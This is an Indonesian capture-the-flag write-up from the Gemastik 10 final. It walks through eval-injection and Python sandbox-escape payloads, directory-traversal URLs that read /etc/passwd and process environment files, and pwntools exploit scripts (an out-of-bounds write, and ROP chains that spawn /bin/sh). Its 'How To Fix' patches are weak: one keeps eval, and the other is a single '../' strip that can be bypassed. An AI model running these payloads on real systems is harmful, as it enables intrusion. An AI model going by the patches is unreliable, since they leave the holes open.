Gemastik 10 Final



Spellcaster

Surado

Adirizka

Alfakatsuki

# 

[**Web Service**](#_al66btbx9k7r) **3**

[Calc](#_utp3emcp9ugg) 3

[Sandboxed Calc](#_7bmomvoxrkqb) 5

[How To Fix (Calc and Sandboxed Calc)](#_23459v8cfqxf) 6

[**Network Service**](#_1yv7wsu3u18f) **8**

[Gemastik HTTP](#_64v9fjuzan65) 8

[How To Fix](#_w0pxhy9i02jt) 9

[lottery-reredux](#_oq8qzmfwtkal) 10

[BF](#_3ud6623x2hzi) 13

[Reverse](#_97kp8q41sk48) 19

# 

Seluruh binary dan source code dapat didownload di

https://drive.google.com/open?id=0B7dLwsrIejupdGg3dFV4NGw2S1U

# 

# 

# Web Service

## **Calc**

Diberikan source code Python Flask (**calc/**) yang merupakan suatu kalkulator web yang menerima 3 masukan, yaitu angka pertama, angka kedua, dan operator aritmatika (+-\*/). Berikut potongan kode yang melakukan operasi perhitungan.

|  |
| --- |
| ...  @app.route('/\_calculate')  def calculate():  a = request.args.get('number1', '0')  operator = request.args.get('operator', '+')  b = request.args.get('number2', '0')  m = re.match('^.\*\\d$', a)  n = re.match('^.\*\\d$', b)  if m is None or n is None or operator not in '+-\*/':  return jsonify(result='Error')  if operator == '/':  result = eval(a + operator + str(float(b)))  else:  result = eval(a + operator + b)  return jsonify(result=result)  ... |

Terdapat pengecekan ekspresi reguler yang diyakini untuk membatasi masukan angka pertama dan angka kedua agar hanya merupakan suatu angka. Namun, terdapat kesalahan pada ekspresi reguler tersebut. Jika dicermati ekspresi reguler tersebut mendefinisikan “**menerima string dengan karakter apa pun yang diakhiri dengan suatu digit bilangan”**. Akibatnya, kita dapat memanipulasi masukan yang membuat pengecekan ekspresi reguler tetap dianggap benar.

Oleh karena proses perhitungan dilakukan menggunakan fungsi eval, kita dapat membuat *payload* agar dapat menampilkan isi dari direktori.

|  |
| --- |
| http://<base url>/\_calculate?number1=\_\_import\_\_("os").popen("ls").read()%232&operator=%2b&number2=2 |

Jika dijalankan dalam fungsi eval maka kira-kira akan menjadi seperti ini.

|  |
| --- |
| eval('\_\_import\_\_("os").popen("ls").read()%232+2') |

Perhatikan ada karakter ‘%23’ yang dalam enkode URL merupakan simbol tagar “#” di *payload*. Karakter tersebut digunakan agar saat fungsi eval berjalan, semua string di belakangnya akan diabaikan sehingga tidak terjadi *error*.

Apabila *payload* tersebut dijalankan maka akan mengembalikan string JSON yang berisikan *list file* yang ada di direktori di mana program dijalankan. Sebagai contoh,

|  |
| --- |
| {result: 'app.py\nflag-xxxxx\n...'} |

Dengan menggunakan *payload* yang sama, kita dapat membaca file *flag* yang terdapat di direktori tersebut.

|  |
| --- |
| http://<base url>/\_calculate?number1=\_\_import\_\_("os").popen("cat flag\*").read()%232&operator=%2b&number2=2 |

## **Sandboxed Calc**

Diberikan *source code* Python Flask (**sandboxed\_calc/**) yang berisikan kode yang sama dengan soal Calc, namun pada *source code* kali ini ditambahkan *filter*, salah satunya adalah tidak dapat memanggil *module* ‘os’ dan beberapa fungsi juga di-*disable*.

Untuk menyelesaikan *challenge* ini tidaklah sulit, karena sebenarnya kita dapat menggunakan *payload* yang sama dengan soal sebelumnya. Namun perlu dimodifikasi sedikit agar *payload* dapat menggunakan *module* ‘os’ tanpa memanggilnya secara langsung.

Berikut langkah untuk mendapatkan *module* ‘os’.

[[1]](#footnote-0)

1. Pertama, panggil kelas untuk tipe *list*

|  |
| --- |
| >>> [].\_\_class\_\_  <type 'list'> |

1. Kemudian, akses kelas basis untuk tipe *list*

|  |
| --- |
| >>> [].\_\_class\_\_.\_\_base\_\_  <type 'object'> |

1. Setelah itu, akses subkelas dari kelas basis ‘object’, pilih subkelas ‘warnings.catch\_warning’

|  |
| --- |
| >>> import warnings >>> [].\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_().index(warnings.catch\_warnings) 59  >>> [].\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[59]  <class 'warnings.catch\_warnings'> |

1. Inisiasikan kelas warnings.catch\_warnings, kemudian *list* fungsi global kelas tersebut. Pilih *module* ‘linecache’ (modul ini mempunyai referensi ke modul os)

|  |
| --- |
| >>> [].\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[59].\_\_init\_\_.func\_globals.keys()  ['filterwarnings', 'once\_registry', 'WarningMessage', '\_show\_warning', 'filters', '\_setoption', 'showwarning', '\_\_all\_\_', 'onceregistry', '\_\_package\_\_', 'simplefilter', 'default\_action', '\_getcategory', '\_\_builtins\_\_', 'catch\_warnings', '\_\_file\_\_', 'warnpy3k', 'sys', '\_\_name\_\_', 'warn\_explicit', 'types', 'warn', '\_processoptions', 'defaultaction', '\_\_doc\_\_', 'linecache', '\_OptionError', 'resetwarnings', 'formatwarning', '\_getaction']  >>> [].\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[59].\_\_init\_\_.func\_globals["linecache"].\_\_dict\_\_.keys()  ['updatecache', 'clearcache', '\_\_all\_\_', '\_\_builtins\_\_', '\_\_file\_\_', 'cache', 'checkcache', 'getline', '\_\_package\_\_', 'sys', 'getlines', '\_\_name\_\_', 'os', '\_\_doc\_\_'] |

1. Terakhir, dapatkan modul os, dengan memanggil indeks *values* yang memiliki modul os

|  |
| --- |
| >>> [].\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[59].\_\_init\_\_.func\_globals["linecache"].\_\_dict\_\_.values().index(os)  12  >>> [].\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[59].\_\_init\_\_.func\_globals["linecache"].\_\_dict\_\_.values()[12]  <module 'os' from '/usr/lib/python2.7/os.pyc'> |

*Payload* sebelumnya

|  |
| --- |
| \_\_import\_\_("os").popen("cat flag\*").read() |

*Payload* setelah dimodifikasi

|  |
| --- |
| [].\_\_class\_\_.\_\_base\_\_.\_\_subclasses\_\_()[59].\_\_init\_\_.func\_globals["linecache"].\_\_dict\_\_.values()[12].popen("cat flag\*").read() |

### 

### How To Fix (Calc and Sandboxed Calc)

Agar *attacker* tidak dapat menyisipkan *payload* jahat saat proses perhitungan, kita dapat memperbaiki ekspresi reguler agar benar-benar hanya dapat menerima masukan berupa angka. Berikut salah satu contohnya.

|  |
| --- |
| ...  @app.route('/\_calculate')  def calculate():  a = request.args.get('number1', '0')  operator = request.args.get('operator', '+')  b = request.args.get('number2', '0')  m = re.match('^\d\*$', a)  n = re.match('^\d\*$', b)  if m is None or n is None or operator not in '+-\*/':  return jsonify(result='Error')  if operator == '/':  result = eval(a + operator + str(float(b)))  else:  result = eval(a + operator + b)  return jsonify(result=result)  ... |

## 

# Network Service

## **Gemastik HTTP**

Diberikan source code Python (**gemastikhttp.py**) yang berjalan sebagai server HTTP. Berikut diberikan potongan kode program yang memproses request GET.

|  |
| --- |
| ...  def do\_GET(self):  path = urllib.unquote(self.path)  if (path == '/'):  path = "/index.html"  path = 'public' + path  print path  if (os.path.exists(path)):  f = open(path, 'r').read()  self.send\_response(200)  set\_content\_type(path)  self.end\_headers()  self.wfile.write(f)  else:  self.send\_response(404)  self.send\_header('Content-type', 'text/html')  self.end\_headers()  self.wfile.write("<html><body><h1>404 Not Found</h1></body></html>")  ... |

Perhatikan teks yang disoroti. Fungsi “urrlib.unquote()” akan mengubah karakter yang diformat dalam enkode URL ke karakter aslinya. Sebagai contoh karakter “%2f” akan diubah menjadi karakter “/”, dst[[2]](#footnote-1). Oleh karena itu, kita dapat melakukan *directory traversal* seperti misalnya membuat program membaca file “/etc/passwd”.

|  |
| --- |
| http://<base url>/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd |

Dengan dimungkinkannya melakukan *directory traversal,* maka kita dapat dengan mudah membaca file-file yang terdapat di server. Misalkan, membaca *source code* yang dijalankan untuk *challenge* ini yang mana terdapat variabel “FLAG” yang menyimpan *flag-*nya. Pertama, kita perlu mengetahui direktori *source code* diletakkan. Jika diasumsikan *path* *root* server diletakkan dalam *system environment variable*, kita dapat membaca file “/proc/self/environ”.

|  |
| --- |
| http://<base url>/..%2f..%2f..%2f..%2f..%2fproc%2fself%2fenviron |

Didapatkan direktori *root* server yang berada di “/home/gemastik/app”, selanjutnya kita bisa membaca *source code* ‘gemastikhttp.py’ dengan menggunakan cara yang sama sehingga didapatkan *flag*-nya.

|  |
| --- |
| http://<base url>/..%2f..%2f..%2f..%2f..%2fhome%2fgemastik%2fapp%2fgemastikhttp.py |

### 

### How To Fix

Hal yang dapat dilakukan untuk mencegah *attacker* melakukan *directory traversal* adalah dengan menyaring string “../”.

|  |
| --- |
| ...  def do\_GET(self):  path = urllib.unquote(self.path)  path = path.replace("../", "")  if (path == '/'):  path = "/index.html"  path = 'public' + path  print path  if (os.path.exists(path)):  f = open(path, 'r').read()  self.send\_response(200)  set\_content\_type(path)  self.end\_headers()  self.wfile.write(f)  else:  self.send\_response(404)  self.send\_header('Content-type', 'text/html')  self.end\_headers()  self.wfile.write("<html><body><h1>404 Not Found</h1></body></html>")  ... |

## **lottery-reredux**

Diberikan binary dengan spesifikasi berikut

|  |
| --- |
| alfakatsuki@Ubuntu ~/C/f/pwn> checksec lottery-reredux  [\*] '/home/alfakatsuki/CTF/finalgemastik/pwn/lottery-reredux'  Arch: amd64-64-little  RELRO: Partial RELRO  Stack: Canary found  NX: NX enabled  PIE: No PIE (0x400000) |

Soal ini mirip dengan soal penyisihan gemastik 10 dan 9 yaitu kita dapat mengisikan slot dan akan mendapatkan flag apabila slot yang kita tebak sama dengan yang diinginkan oleh program.

Berikut adalah hasil decompile dari fungsi penting dari binary tersebut

|  |
| --- |
| unsigned \_\_int64 \_\_fastcall choose\_number(\_\_int64 a1)  {  int v2; // [rsp+1Ch] [rbp-14h]  int v3; // [rsp+20h] [rbp-10h]  int v4; // [rsp+24h] [rbp-Ch]  unsigned \_\_int64 v5; // [rsp+28h] [rbp-8h]  v5 = \_\_readfsqword(0x28u);  v2 = 0;  v4 = 0;  printf("Choose slot index (1-10) : ");  \_\_isoc99\_scanf("%d", &v2);  while ( (unsigned \_\_int8)invalid(v2) )  {  puts("Invalid Index!\n");  printf("Choose slot index (1-10) : ");  \_\_isoc99\_scanf("%d", &v2);  }  printf("Guess the number (0-9) : ", &v2);  \_\_isoc99\_scanf("%d", &v3);  \*(\_DWORD \*)(a1 + 4LL \* --v2) = v3;  print\_slot(a1, &v3);  return \_\_readfsqword(0x28u) ^ v5;  } |

Terdapat fungsi invalid yang melakukan pengecekan terhadap inputan

|  |
| --- |
| \_BOOL8 \_\_fastcall invalid(signed int a1)  {  return a1 <= 0 && a1 >= -12 || a1 > 10 && a1 <= 59;  } |

Terlihat bahwa angka yang diblacklist dari inputan adalah -12 <= x <= 0 || 10 <= x <= 59. Sehingga kita dapat masukkan angka yang diluar dari lingkup blacklist.

Tujuan kita adalah melakukan out of bound array dan mengoverwrite eip dengan address dari prize(). Address prize adalah 0x0000000000400986.

Berikut adalah snippetcode pengisian angka.

\*(baseindex + 4LL \* --index) = isi

atau

baseindex + 4 \* --index = alamatindex

Kita coba cek di gdb untuk mengetahui dimana angka disimpan pada baseindex. Kita break pengisian pada alamat 0x400b3f

|  |
| --- |
| Guess 7 slot out of 10  ? ? ? ? ? ? ? ? ? ?  - - - - - - - - - -  1 2 3 4 5 6 7 8 9 10  Choose slot index (1-10) : 1  Guess the number (0-9) : 4196742  RAX: 0x400986 (<prize>: push rbp)  RDX: 0x7fffffffdc70 --> 0xffffffffffffffff  => 0x400b3f <choose\_number+224>: mov DWORD PTR [rdx],eax  rip at 0x7fffffffdc28 |

Baseindex menunjuk ke alamat 0x7fffffffdc70. Sedangkan RIP kita berada pada 0x7fffffffdc28. Selisih dari alamat adalah -72. Karena kita mengisi nilai int, maka -72/4 = -18. Karena index di majukan satu maka nilai yang menunjuk RIP menjadi -17. Berikut skrip yang digunakan.

|  |
| --- |
| from pwn import \*  from sys import \*  print i  ip = "10.119.8.{}".format(i)  port = 9006  # p = connect(ip, port)  p = process('./lottery\_reredux')  p.sendline('-17')  p.sendline('4196742')  print p.recvall()  p.close() |

# 

# 

## BF

Diberikan binary dengan spesifikasi berikut.

|  |
| --- |
| alfakatsuki@Ubuntu ~/C/f/pwn> file bf  bf: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=32c56c86751da3177ffdb01260b7fa5c200dc0fc, not stripped  alfakatsuki@Ubuntu ~/C/f/pwn> checksec bf  [\*] '/home/alfakatsuki/CTF/finalgemastik/pwn/bf'  Arch: amd64-64-little  RELRO: Partial RELRO  Stack: Canary found  NX: NX enabled  PIE: No PIE (0x400000) |

Binary ini sepertinya mengeksekusi code obsfuscated brainfuck.

|  |
| --- |
| alfakatsuki@Ubuntu ~/C/f/pwn> ./bf  Gemastik BF Interpreter  Try Hello World: ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.  Insert Code: ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.  Hello World! |

Berikut adalah pseudocode yang sudah dirapihkan sebelumnya.

|  |
| --- |
| // local variable allocation has failed, the output may be wrong!  int \_\_cdecl main(int argc, const char \*\*argv, const char \*\*envp)  {  char kosong; // [rsp+10h] [rbp-EA70h]  char simpan; // [rsp+7540h] [rbp-7540h]  unsigned \_\_int64 v6; // [rsp+EA78h] [rbp-8h]  v6 = \_\_readfsqword(0x28u);  init\_0(\*&argc, argv, envp);  memset(&kosong, 0, 0x7530uLL);  puts("Gemastik BF Interpreter", 0LL);  puts(  "Try Hello World: ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.",  0LL);  puts(&unk\_4A2D81, 0LL);  printf("Insert Code: ");  memset(&simpan, 0, 0x7530uLL);  fgets(&simpan, 0x7530u, stdin);  interpret(&simpan, &kosong, &kosong);  return 0;  } |

|  |
| --- |
| \_\_int64 \_\_fastcall interpret(\_\_int64 isi, \_\_int64 kosong, \_BYTE \*kosong2)  {  \_\_int64 result; // rax  \_BYTE \*v4; // [rsp+8h] [rbp-38h]  char v5; // [rsp+2Fh] [rbp-11h]  char v6; // [rsp+2Fh] [rbp-11h]  \_\_int64 i; // [rsp+30h] [rbp-10h]  signed \_\_int64 v8; // [rsp+38h] [rbp-8h]  v4 = kosong2; // alamatnya  for ( i = 0LL; ; ++i )  {  result = \*(isi + i); // looping input  if ( !result ) // berhenti  break;    v5 = \*(isi + i);  switch ( v5 )  {  case '>':  ++v4; // alamatnya tambah  break;  case '<':  --v4;  break;  case '+':  ++\*v4; // isi nambah  break;  case '-':  --\*v4;  break;  case '.':  putchar(\*v4); // ngeprint  break;  case ',':  \*v4 = getchar(); // baca  break;  default:  if ( v5 != '[' && v5 == ']' && \*v4 )  {  v8 = 1LL;  while ( v8 )  {  v6 = \*(isi + --i);  if ( v6 == '[' )  {  --v8;  }  else if ( v6 == ']' )  {  ++v8;  }  }  }  break;  }  }  return result;  } |

Karena binary tersebut binary static linked, maka kita dapat melakukan ROP untuk mendapatkan shell.

Dari binary tersebut terdapat vulnerable kita dapat menggerakkan pointer dan mengisi pointer tersebut. Sehingga kita dapat mengisi RIP dengan gadget ROP pada getchar.

Kita coba cek di GDB untuk mengetahui dimana RIP terdekat yang dapat kita overwrite dan alamat dari awal pointer.

|  |
| --- |
| gdb-peda$ b \*0x0000000000400D4B  Breakpoint 1 at 0x400d4b  gdb-peda$ r  Starting program: /home/alfakatsuki/CTF/finalgemastik/pwn/bf  Gemastik BF Interpreter  Try Hello World: ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.  Insert Code: ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.  arg[1]: 0x7ffffffef250 --> 0x0  gdb-peda$ i f  Stack level 0, frame at 0x7ffffffef240:  rip = 0x400af2 in interpret; saved rip = 0x400d50  called by frame at 0x7fffffffdcd0  Arglist at 0x7ffffffef230, args:  Locals at 0x7ffffffef230, Previous frame's sp is 0x7ffffffef240  Saved registers:  rbp at 0x7ffffffef230, rip at 0x7ffffffef238 |

Alamat awal dari pointer adalah 0x7ffffffef250. Sedangkan RIP terdekat adalah saved RIP milik fungsi interpret sehingga kita dapat memundurkan pointer lalu mengoverwrite satu persatu dengan byte code dari ROP. Berikut adalah script yang digunakan.

|  |
| --- |
| from pwn import \*  from sys import \*  p = ''  p += p64(0x00000000004019a7) # pop rsi ; ret  p += p64(0x00000000006cc080) # @ .data  p += p64(0x000000000047a196) # pop rax ; pop rdx ; pop rbx ; ret  p += '/bin//sh'  p += p64(0x4141414141414141) # padding  p += p64(0x4141414141414141) # padding  p += p64(0x0000000000475a71) # mov qword ptr [rsi], rax ; ret  p += p64(0x00000000004019a7) # pop rsi ; ret  p += p64(0x00000000006cc088) # @ .data + 8  p += p64(0x0000000000426fbf) # xor rax, rax ; ret  p += p64(0x0000000000475a71) # mov qword ptr [rsi], rax ; ret  p += p64(0x00000000004005d5) # pop rdi ; ret  p += p64(0x00000000006cc080) # @ .data  p += p64(0x00000000004019a7) # pop rsi ; ret  p += p64(0x00000000006cc088) # @ .data + 8  p += p64(0x00000000004433e6) # pop rdx ; ret  p += p64(0x00000000006cc088) # @ .data + 8  p += p64(0x0000000000426fbf) # xor rax, rax ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000467dd0) # add rax, 1 ; ret  p += p64(0x0000000000468925) # syscall ; ret  payload = "<" \* (0x7ffffffef250 - 0x7ffffffef238)  for i in range(len(p)):  payload += ",>"  q = process('./bf')  # ip = "10.119.8.110"  # port = 9007  # q = connect(ip, port)  q.sendline(payload) # Kirim payload brainfuck  q.sendline(p) # Kirim payload rop untuk mengoverwrite RIP  q.interactive() |

|  |
| --- |
| alfakatsuki@Ubuntu ~/C/f/pwn> python rev.py  [+] Starting local process './bf': pid 13421  [\*] Switching to interactive mode  Gemastik BF Interpreter  Try Hello World: ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.------.--------.>+.>.  Insert Code: $ id  uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare),998(docker)  $ whoami  alfakatsuki |

## Reverse

Diberikan binary dengan spesifikasi berikut.

|  |
| --- |
| alfakatsuki@Ubuntu ~/C/f/pwn> checksec reverse  [\*] '/home/alfakatsuki/CTF/finalgemastik/pwn/reverse'  Arch: amd64-64-little  RELRO: Partial RELRO  Stack: Canary found  NX: NX enabled  PIE: No PIE (0x400000)  alfakatsuki@Ubuntu ~/C/f/pwn> file reverse  reverse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0820ec747466656536d8dffc5ce20a87e32e635a, stripped |

Binary tersebut memiliki fitur untuk membalikkan string sesuai index yang kita berikan.

|  |
| --- |
| alfakatsuki@Ubuntu ~/C/f/pwn> ./reverse  ==--- STRING R3V3R53R ---==  Insert String: junk  Select reverse index (0-based): 0 4  nafla |

Berikut adalah hasil decompile binary.

|  |
| --- |
| unsigned \_\_int64 sub\_400819()  {  int v0; // eax  unsigned int v2; // [rsp+4h] [rbp-11Ch]  unsigned int v3; // [rsp+8h] [rbp-118h]  int v4; // [rsp+Ch] [rbp-114h]  char s; // [rsp+10h] [rbp-110h]  unsigned \_\_int64 v6; // [rsp+118h] [rbp-8h]  v6 = \_\_readfsqword(0x28u);  header();  v4 = 60;  while ( 1 )  {  v0 = v4--;  if ( !v0 )  break;  puts(&byte\_400A46);  memset(&s, 0, 0x100uLL);  puts("Insert String: ");  gets(&s, 0LL);  printf("Select reverse index (0-based): ");  \_\_isoc99\_scanf("%d %d", &v2, &v3);  getchar();  reversing(&s, v2, v3);  puts(&s);  }  return \_\_readfsqword(0x28u) ^ v6; |

Terdapat fungsi vulnerable gets pada program. Sehingga kita dapat melakukan ROP untuk meleak libc address dan memanggil system('/bin/sh'). Canary dapat dileak menggunakan fungsi reverse yang disediakan oleh program. Kesulitan pada soal ini sebenarnya adalah gadget 'pop rdi' yang ada pada program memiliki new line byte sehingga input setelahnya akan menjadi terhenti. Karena itu kita tidak bisa menggunakan alamat pop rdi secara langsung.

|  |
| --- |
| 0x0000000000400a03 : pop rdi ; ret |

Kami cukup lama menyadari bahwa terdapat fungsi getchar yang membaca newline pada program karena gets tidak membaca newline. Sehingga terdapat newline pada stack yang dapat dimanfaatkan untuk menyusun payload ROP. Manipulasi stack untuk membuat payload ROP dengan fungsi reverse.

Sehingga ide untuk menyusun exploit nya adalah sebagai berikut.

1. Leak canary dengan fungsi reverse

2. Susun payload ROP dari paling belakang. sampai sebelum newline.

3. Balik string dari payload ROP agar gadget ROP mengenai RIP.

4. Susun sisa payload.

5. Rapihkan payload yang masih berantakan dengan fungsi reversi kembali.

6. exit untuk menuju ke gadget ROP leak.

7. Hitung offset libc.

8. Lakukan kembali hal yang sama untuk menyusun payload ROP untuk memanggil system('/bin/sh')

Berikut adalah skrip yang telah disusun.

|  |
| --- |
| from pwn import \*  from sys import \*  p = process('./reverse')  b = """  break \*0x400824  break \*0x400978  break \*0x40098B  b \*0x400928  b \*0x400927  b \*0x4008f6  """  if(len(argv) == 3):  gdb.attach(p, b)  def balik(i, j):  p.sendline("{} {}".format(i, j))  def isi(a):  p.sendline(a)  poprdi = 0x0000000000400a03  puts = 0x400610  isi("A"\*0x104 + "BBBB")  balik(0, 0x108+7)  print p.recvuntil('based): ')  canary = u64("\x00"+p.recvline()[:-1][::-1])  log.info("canary : 0x%x" % canary)  canary = p64(canary)  main = 0x0000000000400978  got\_puts = 0x0000000000601018  # poprdi + got\_puts + puts  isi("A" \*(232) + p64(main)[::-1]+ p64(puts)[::-1] + p64(got\_puts)[::-1] + "\x00\x00\x00\x00\x00\x40")  balik(232, 311)  isi('junk')  balik(280, 281)  isi("A" \* 0x108 + canary + "AAAABBB"+"\x03")  balik(279, 280)  for i in range(55):    isi('junk')  p.recvuntil('junk')  balik(0,0)  isi('junk')  balik(0, 0)  p.recvuntil('junk')  for i in range(2):  print i, p.recvline()  p.recvuntil('junk')  alamatputs = u64(p.recv(8)[1:] + '\x00')  log.info("puts : 0x%x" % alamatputs)  offset\_\_\_libc\_start\_main\_ret = 0x203f1  offset\_system = 0x00000000000456a0  offset\_dup2 = 0x00000000000f8fa0  offset\_read = 0x00000000000f8880  offset\_write = 0x00000000000f88e0  offset\_str\_bin\_sh = 0x18ac40  offset\_puts = 0x0000000000070920  base = alamatputs - offset\_puts  binsh = base + offset\_str\_bin\_sh  system = base + offset\_system  isi("A" \*(232) + p64(main)[::-1]+ p64(system)[::-1] + p64(binsh)[::-1] + "\x00\x00\x00\x00\x00\x40")  balik(232, 311)  isi('junk')  balik(280, 281)  isi("A" \* 0x108 + canary + "AAAABBB"+"\x03")  balik(279, 280)  for i in range(55):    isi('junk')  p.recvuntil('junk')  balik(0,0)  isi('junk')  balik(0, 0)  isi('junk')  balik(0, 0)  p.recv()  p.interactive() |

|  |
| --- |
| alfakatsuki@Ubuntu ~/C/f/pwn> python reverse.py  [+] Starting local process './reverse': pid 3894  ==--- STRING R3V3R53R ---==  Insert String: BSelect reverse index (0-based):  [\*] canary : 0xc76eb330a547e000  0  1  [\*] puts : 0x7fcd6a5fd920  [\*] Switching to interactive mode  junk  Insert String:  Select reverse index (0-based): junk  Insert String:  Select reverse index (0-based): junk$ id  uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare),998(docker) |

1. https://hexplo.it/escaping-the-csawctf-python-sandbox/ [↑](#footnote-ref-0)
2. https://www.w3schools.com/tags/ref\_urlencode.asp [↑](#footnote-ref-1)